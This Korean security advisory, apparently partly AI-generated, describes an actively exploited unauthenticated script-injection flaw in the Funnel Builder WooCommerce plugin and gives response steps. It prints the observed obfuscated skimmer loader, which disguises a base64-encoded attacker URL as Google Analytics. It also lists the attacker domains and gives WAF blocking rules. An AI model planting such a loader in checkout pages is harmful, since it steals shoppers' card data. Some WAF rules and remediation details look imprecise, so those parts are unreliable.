서론
Funnel Builder by FunnelKit 플러그인의 취약점이 현재 실제 악용(active exploitation) 중인 것으로 확인되었다. 이 플러그인은 WooCommerce 체크아웃 및 엑셀 기능을 제공하는 것으로, 40,000개 이상의 WooCommerce 스토어에서 사용 중이다. 취약점을 악용한 공격자는 가짜 Google Tag Manager 스크립트를 주입하여 결제 페이지에서 신용카드 정보, CVV, 청구지 주소 등을 탈취하는 Magecart 스타일의 공격을 수행하고 있다.
본문
취약점 개요
Funnel Builder 플러그인의 3.15.0.3 이전 모든 버전은 인증되지 않은 공격자가 임의의 JavaScript 코드를 체크아웃 페이지에 주입할 수 있는 취약점을 가지고 있다. 현재 공식 CVE 식별자가 할당되어 있지 않으나, 취약점의 영향력과 공격 가능성을 고려할 때 심각도: Critical, CVSS 추정 9.8로 평가된다.
기술적 분석
취약점 메커니즘
Funnel Builder는 공개된 체크아웃 엔드포인트를 포함하고 있는데, 이 엔드포인트는 요청이 발출할 때 내부 메서드를 선택할 수 있도록 허용한다. 그러나 이전 버전은 발출자의 권한을 확인하지 않으며, 어떤 메서드가 발출 가능한지 제한하지 않았다.
이로 인해 인증되지 않은 요청이 공격자가 제공한 데이터를 플러그인의 전역 설정에 직접 쓰는 내부 메서드에 도달할 수 있다. "External Scripts" 설정에 추가된 내용은 모든 Funnel Builder 체크아웃 페이지에 출력되므로, 공격자는 사이트의 모든 체크아웃 트랜잭션에서 실행되는 악성 태그를 심을 수 있다.
악용 방식
Sansec의 관찰에 따르면, 공격자는 Google Tag Manager 로더로 위장한 페이로드를 사용한다. 정상적인 마케팅 태그 옆에 있는 것처럼 보이지만, 결제 스키머를 로드하여 신용카드 번호, CVV, 청구지 주소 등을 탈취한다.
실제 관찰된 악성 코드 예시:
(function (i, s, o, g, r) {
window.addEventListener("load", function () {
a = s.createElement(o);
a.async = 1;
a.src = atob(r);
s.body.appendChild(a);
});
})(window, document, "script", "www.google-analytics.com/analytics.js", "aHR0cHM6Ly9hbmFseXRpY3MtcmVwb3J0cy5jb20vd3NzL2pxdWVyeS1saWIuanM=");
이 코드는 base64로 인코딩된 문자열을 디코딩하여 외부 스크립트를 로드한 후, WebSocket 연결을 통해 공격자의 C2 서버와 통신하여 맞춤형 스키머를 수신한다.
대응 전략
긴급 대응 (24시간 이내)
1. 플러그인 버전 확인 및 업데이트: Funnel Builder 플러그인을 3.15.0.3 이상으로 즉시 업데이트
2. 외부 스크립트 검사: Settings > Checkout > External Scripts 설정에서 의심 스크립트 확인 및 제거
3. 로그 분석: access 로그에서 의심스러운 요청 패턴 확인
단기 대응 (72시간 이내)
1. 웹사이트 보안 스캔: eComscan 등 전문 도구로 랜섬웨어 및 백도어 검사
2. 로그 및 감사: 최근 결제 내역 및 액세스 로그 면밀히 분석
3. 고객 통지: 영향받은 고객에게 상황 설명 및 주의 요청
장기 대응 (1주 이내)
1. 보안 정책 강화: 플러그인 업데이트 정책 수립 및 정기적 점검
2. 모니터링 시스템: Web Application Firewall (WAF) 규칙 강화
3. 보안 교육: 관리자 및 개발자 대상 보안 교육 실시
WAF 설정 가이드
주의: 아래 IP 범위와 도메인은 예시입니다. 실제 환경에 맞게 수정하여 적용하세요.
차단해야 할 의심스러운 도메인:
- analytics-reports[.]com
- protect-wss[.]com
차단해야 할 외부 스크립트 패턴:
- analytics-reports[.]com/wss/jquery-lib.js
- wss://protect-wss[.]com/ws
WAF 규칙 예시 (수정 필요):
# 의심스러운 외부 스크립트 로드 차단
SecRule REQUEST_URI "@contains jquery-lib.js" \\
"id:1001,phase:2,deny,status:403,msg='Suspicious script loading'"
# WebSocket 연결 차단
SecRule REQUEST_URI "@contains wss://protect-wss" \\
"id:1002,phase:2,deny,status:403,msg='Blocked WebSocket connection'"
IP 기반 차단 규칙 (예시 - 실제 환경에 맞게 수정 필요):
# 특정 IP 범위에서의 의심스러운 활동 차단
# 192.168.0.0/16 (내부 네트워크 예시)
# 203.0.113.0/24 (테스트 네트워크 예시)
# 실제 환경에서는 방화벽 및 보안 정책에 맞게 IP 범위 설정
영향 범위
- 영향받는 버전: 3.15.0.3 이전 모든 버전
- 영향받는 스토어: 40,000개 이상의 WooCommerce 스토어
- 공격 유형: 비인증 JavaScript 주입, Magecart 스타일 결제 데이터 탈취
- 탈취 가능 데이터: 신용카드 번호, CVV, 청구지 주소, 기타 개인정보
결론
Funnel Builder 플러그인의 취약점은 현재 활발히 악용되고 있는 심각한 보안 위협이다. 40,000개 이상의 WooCommerce 스토어가 영향받을 수 있으며, 신용카드 정보와 같은 민감한 결제 데이터 탈취의 위험이 있다.
모든 WooCommerce 스토어 운영자는 즉시 플러그인을 최신 버전(3.15.0.3 이상)으로 업데이트하고, External Scripts 설정을 검토해야 한다. 또한 전문 보안 도구를 사용하여 웹사이트를 스캔하고, 고객에게 적절한 통지를 제공해야 한다.
이번 사례는 Google Tag Manager나 Google Analytics 스크립트로 위장한 악성 코드가 얼마나 쉽게 검토를 피할 수 있는지 보여준다. 모든 외부 스크립트를 정기적으로 검토하고, 신뢰할 수 있는 출처인지 확인하는 것이 중요하다.
참고자료
-
Sansec Research
https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited -
The Hacker News
https://thehackernews.com/2026/05/funnel-builder-flaw-under-active.html -
Funnel Builder Plugin (WordPress.org)
https://wordpress.org/plugins/funnel-builder/ -
WordPress.org Changeset (Patch Details)
https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php -
Wordfence Vulnerability Database
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/funnel-builder
본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.
댓글 (0)
댓글을 작성하려면 로그인이 필요합니다.
로그인아직 댓글이 없습니다.
첫 번째 댓글을 작성해보세요!